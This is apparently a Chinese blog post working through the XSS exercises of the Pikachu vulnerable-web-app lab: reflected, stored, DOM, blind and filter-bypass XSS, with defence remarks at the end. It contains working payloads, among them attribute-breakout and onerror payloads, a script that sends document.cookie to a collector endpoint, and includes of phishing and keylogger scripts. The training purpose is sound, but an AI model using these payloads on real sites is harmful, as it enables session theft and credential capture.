pikachu~~~XSS

目录

反射型xss(get)

反射性xss(post)

存储型xss

DOM型xss

DOM型xss

盗取cookie:

get:

post:

钓鱼:

获取键盘输入:


反射型xss(get)

先输入'"<>$223探测特殊字符是否被过滤

显然么有,并且get型还直接把传入的信息以URL的方式传了过去

既然字符无保护,那咱们直接执行一个<script>alert('look')</script>

F12修改最大值

那我们重新进入一次,看它是否会继续弹窗,发现并没有,所以他是一次性的

反射性xss(post)

post是要通过表单提交信息,先登入

和上面一样,对特殊字符检查,发现并无过滤

但是细心的我们可以发现,

传入参数不在URL显示了,而是在request body中。

并且输入时无长度限制

并且post前进和回退仍然会再次提交信息并弹窗

弹窗成功

存储型xss

字符并无过滤,

这里将输入动态的生成到了js中,形成xss

输入<script>alert('look')</script>或JavaScript:alert('js')仍会弹窗,

回退后也会存储,

与反射性post不同的是重新访问此页面,之前的信息仍然在

说明我们输入的信息被存储到了后台中

讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修?
这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
所以在JS的输出点应该使用\对特殊字符进行转义

DOM型xss

发现是通过click me按钮触发domxss

将得到的信息以字符串拼接到a标签

此时我们只需闭合a标签即可

 

<a href=''>what do you see?</a>
<a href='' οnclick="alert('js')">' >what do you see?</a>
payload:
' οnclick="alert('js')">

'><img src=x οnerrοr=alert('xss')><a href='#

前端的输入被DOM获取到,通过DOM在前端输出,前端不会保存,也不会走后端,但是也是一个写程序的漏洞。

DOM型xss

http://192.168.241.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27js%27%29%22%3E#

盗取cookie:

get:


<script>document.location='http://192.168.241.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

攻击链接:

http://192.168.241.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.241.1%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

post:

http://192.168.241.1/pikachu/pkxss/xcookie/post.html

钓鱼:

 

<script src="http://192.168.241.1/pikachu/pkxss/xfish/fish.php"></script>

后台会记录获取信息

获取键盘输入:


<script src="http://192.168.241.1/pikachu/pkxss/rkeypress/rk.js"></script>

后台会记录获取信息

Dom型xss-x

跟上一样,还是先来看看代码逻辑, 它从url获取参数text的值然后组合出一个新的链接返回前端。

function domxss(){
    var str = window.location.search; //取url后面的参数
    var txss = decodeURIComponent(str.split("text=")[1]); //url解码
    var xss = txss.replace(/\+/g,' ');
//  alert(xss);
    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
    }
   //试试:'><img src="#" οnmοuseοver="alert('xss')">
   //试试:' οnclick="alert('xss')">,闭合掉就行

请说出你的伤心往事按钮取text组成个新链接,新链接的参数可控造成取值时的xss。 payload和上题一样,只是参数的传递过程不一样。

XSS盲打

就是攻击者在没有回显的情况下打xss payload, 可能的利用场景就是留言处,留言者看不到写入的内容,管理员可以从后台看到并触发恶意脚本,常被用来窃取cookie。

XSS过滤

过滤了script,通过或者 等标签就可以触发了。

<img src=x οnerrοr=alert(1)>

常见绕过方式:

    大小写

XSS之htmlspecialchars

php的htmlspecialchars() 函数就是把预定义的字符转换为 HTML 实体。

预定义的字符是:

    & (和号)成为 &
    " (双引号)成为 "
    ’ (单引号)成为 ’
    < (小于)成为 <&“
    > (大于)成为 >

默认配置的htmlspecialchars不会转义’,测试思路是将这些符号输入一遍,看哪些符号会被转义。如我们输入111<>'",查看返回结果里面源码这些字符已经被转换成预定义的实体编码了,除了单引号没被转换。

<a href='111&lt;&gt;&quot;'&amp;'>

针对单引号来构造闭合为a标签添加新的属性绕过,如构造payload

#' οnclick='alert(1)'

填充完原页面就完整代码如下,点击此标签就触发了xss

<a href='#' οnclick='alert(1)''>#' οnclick='alert(1)'</a>

XSS之href

直接通过伪协议触发href,点击伪协议的超链接触发xss。payload如:

javascript:alert(1);

防止href里面伪协议造成的xss可以通过限制开头必须是http或者https来实现

XSS之JS输出

这适用于可控变量输出在前端<script>的情况,测试思路是先随便输入一段字符提交,然后查看源码Ctrl + F查找刚才随便输入的字符串定位到代码。如我通过输入asdf并查找定位到了asdf对应的输出位置。

<script>
    $ms='asdf';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
        // alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>

 

构造payload,如:

tmac';alert(1);//

payload填入原输出位置就会变成

 <script>
    $ms='tmac';alert(1);//';
    ......
 </script>

相当与在原来的基础上插入了一段弹窗代码,xss利用成功。
XSS大致类型如上,防御可以归结为:输入时过滤,输出是转义,更多的还是要在实战中学习。
 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值